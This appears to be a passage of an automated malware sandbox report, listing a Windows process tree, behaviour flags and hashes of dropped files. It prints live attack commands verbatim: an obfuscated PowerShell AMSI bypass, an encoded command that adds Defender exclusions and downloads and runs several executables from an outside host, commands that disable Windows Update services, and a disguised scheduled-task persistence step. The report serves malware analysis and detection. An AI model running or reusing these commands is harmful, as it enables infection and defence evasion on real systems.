mplementationFlags('R'+'u'+''+'n'+''+[Char](116)+''+[Char](105)+''+'m'+''+'e'+''+[Char](44)+''+'M'+'an'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$ZTPtXLjUszD.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](72)+''+[Char](105)+''+[Char](100)+'eBy'+'S'+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+'S'+'l'+'o'+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$wkiIntDvWD,$IECxjfRLAtzWIn).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+','+[Char](77)+'a'+'n'+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $ZTPtXLjUszD.CreateType();}$PcDlxIgDQrFXy=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+''+'i'+'c'+'r'+''+'o'+''+[Char](115)+''+[Char](111)+'f'+[Char](116)+''+'.'+''+[Char](87)+''+[Char](105)+''+'n'+'3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](80)+''+'c'+'D'+[Char](108)+''+[Char](120)+'Ig'+[Char](68)+'Q'+[Char](114)+''+[Char](70)+''+'X'+''+'y'+'');$DmDsziyUVVkyLS=$PcDlxIgDQrFXy.GetMethod(''+[Char](68)+''+[Char](109)+''+[Char](68)+'s'+[Char](122)+'i'+'y'+''+[Char](85)+''+'V'+''+'V'+''+[Char](107)+''+[Char](121)+'L'+[Char](83)+'',[Reflection.BindingFlags]''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c,'+[Char](83)+'t'+[Char](97)+'t'+'i'+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$VwRbTLSJIIPIsxpPUTW=fszZPMxuBjDQ @([String])([IntPtr]);$KJpAhkIudYKPPWKNsWsLQF=fszZPMxuBjDQ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$zItRpRdLWSb=$PcDlxIgDQrFXy.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+'o'+[Char](100)+'ule'+[Char](72)+''+[Char](97)+'n'+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+'n'+[Char](101)+''+[Char](108)+''+[Char](51)+''+'2'+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$bUglTgyvtFivXH=$DmDsziyUVVkyLS.Invoke($Null,@([Object]$zItRpRdLWSb,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+[Char](100)+'L'+[Char](105)+'b'+[Char](114)+'a'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$VoibmGxgwzpGZiaMi=$DmDsziyUVVkyLS.Invoke($Null,@([Object]$zItRpRdLWSb,[Object]('V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+'P'+'r'+''+[Char](111)+''+'t'+''+[Char](101)+''+[Char](99)+'t')));$bdZxeAx=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bUglTgyvtFivXH,$VwRbTLSJIIPIsxpPUTW).Invoke('a'+'m'+'s'+[Char](105)+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'');$obxWNkZJJfBKBBHiZ=$DmDsziyUVVkyLS.Invoke($Null,@([Object]$bdZxeAx,[Object](''+[Char](65)+''+[Char](109)+'s'+[Char](105)+''+[Char](83)+''+'c'+''+[Char](97)+''+'n'+''+[Char](66)+'u'+'f'+''+[Char](102)+''+'e'+'r')));$TwBvrTidFV=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoibmGxgwzpGZiaMi,$KJpAhkIudYKPPWKNsWsLQF).Invoke($obxWNkZJJfBKBBHiZ,[uint32]8,4,[ref]$TwBvrTidFV);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$obxWNkZJJfBKBBHiZ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoibmGxgwzpGZiaMi,$KJpAhkIudYKPPWKNsWsLQF).Invoke($obxWNkZJJfBKBBHiZ,[uint32]8,0x20,[ref]$TwBvrTidFV);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+'r'+'st'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1328
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1400
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1640
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1948
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2188
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2552
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2692
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3464
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:3980
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:3820
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s W32Time1⤵PID:3148
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:3460
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:4884
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4292
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:3244
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:2252
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4684
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4492
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3808
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3092
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2804
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C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe"C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3316 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1880 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1636 -
C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1656 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3276
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1656 -s 2726⤵
- Program crash
PID:2868
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:540
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:760
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3316 -s 1363⤵
- Program crash
PID:1180
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3924
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2492 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:2076
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1296
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:3292
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:4772
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:4480
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:836
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:2124
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:2052
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:3164
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1512
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1756
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:2472
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2704
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2684
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2636
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2568
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2560
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C:\Windows\system32\sihost.exesihost.exe1⤵PID:2528
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2376
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2368
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2164
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1272
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1004
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1940
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1900
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1796
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1764
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1692
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1624
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1576
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1472
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1420
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1380
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1332
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1264
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1212
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1204
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1040
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1032
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:720
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:952
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:4300
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3316 -ip 33162⤵PID:2120
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 1656 -ip 16562⤵PID:3116
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:3828
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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Filesize
53KB
MD5124edf3ad57549a6e475f3bc4e6cfe51
SHA180f5187eeebb4a304e9caa0ce66fcd78c113d634
SHA256638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675
SHA512b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee
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Filesize
19KB
MD5c83df1c9072bc44a1ad6b4b4a8a7dbab
SHA10a8179debc61941fa9e502f0b38bbaba68d745a8
SHA256af178864c4ad687c3162a94ddfa2de2bba0d4965ff12e3950974258679d7fb51
SHA51253c24ed7e58c715e46135c040724356aaa20a619ed9d89b1ab24891036d6cda2c67e2fd8e867d956fce4534d6ef54ba3e542b67ba82743ae9aee309587741ca1
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Filesize
1KB
MD5c697637a9b17f577fccd7e83a5495810
SHA104e6054584786b88994b0e0a871562227fe2a435
SHA25654992c76969f661b605042ebdc73912dbc42e3f88aa6ffecb7191a598fc17164
SHA51266f85a03889786d2c910880bf32e9ea380740b665f11828d06acb03b6f63fb11be1d70e67acb3bc2118f2c35824919458ce7c85f6843c72a3e5ca44fadc0b3c0
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
477KB
MD53753f9966e5b4fdc87184c1749f2bd25
SHA169b76e86bfb4fcf4c0eb2f5fc8b71356e9f4e756
SHA2560f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
SHA5123283dfee96e0089873336f3c699604eb33d5c091cdf65a193d4f8e1850625823f62dc02d242290dfd10c10f127bfec26f55b6438fc9ab2c0dd5c9f7cb764e8b6
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Filesize
477KB
MD53753f9966e5b4fdc87184c1749f2bd25
SHA169b76e86bfb4fcf4c0eb2f5fc8b71356e9f4e756
SHA2560f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
SHA5123283dfee96e0089873336f3c699604eb33d5c091cdf65a193d4f8e1850625823f62dc02d242290dfd10c10f127bfec26f55b6438fc9ab2c0dd5c9f7cb764e8b6